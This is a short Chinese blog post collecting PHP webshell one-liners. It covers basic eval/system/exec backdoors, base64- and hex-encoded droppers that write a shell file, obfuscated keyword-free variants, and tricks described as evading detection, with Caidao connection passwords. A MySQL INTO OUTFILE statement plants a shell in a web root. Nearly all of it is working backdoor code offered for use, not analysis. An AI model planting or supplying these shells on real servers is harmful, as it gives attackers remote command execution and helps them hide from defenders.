基础类

很容易被扫描、检测出来

<?php @eval($_GET['phpcode']);?>
<?php @eval($_POST['phpcode']);?>

<?php @system($_GET['cmd']);?>
<?php @system($_POST['cmd']);?>

<?php @exec($_POST['cmd']);?>
<?php @passthru($_POST['cmd']);?>
<?php @shell_exec($_POST['cmd']);?>
<?php $cmd=$_POST['cmd']);`$cmd`;?> 

@ + function表示忽略警告。
eval() 是可以执行php代码
system() 是可以执行系统命令

编码替换

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>
//会生成<?php @eval($_POST['lostwolf']);?>

<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>
//php在html内部的一种嵌入方式

<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>


<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>

无关键字函数类型

<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass

<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

躲避检测记录

<?php $_GET[a]($_GET[b]);?>
//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
<?php assert($_REQUEST["c"]);?>     //菜刀连接 躲避检测 密码c 
<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['c']);?>
//菜刀提交  http://192.168.1.5/x.php?x=lostwolf  脚本类型:php  密码为 c

MySQL写入一句话

select "<?php @system($_POST["cmd"]);?>" into outfile "/home/webaccount/projectname/www/*.php"
#前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以
posted on 2020-03-26 22:41  Mysticbinary  阅读(421)  评论(0编辑  收藏  举报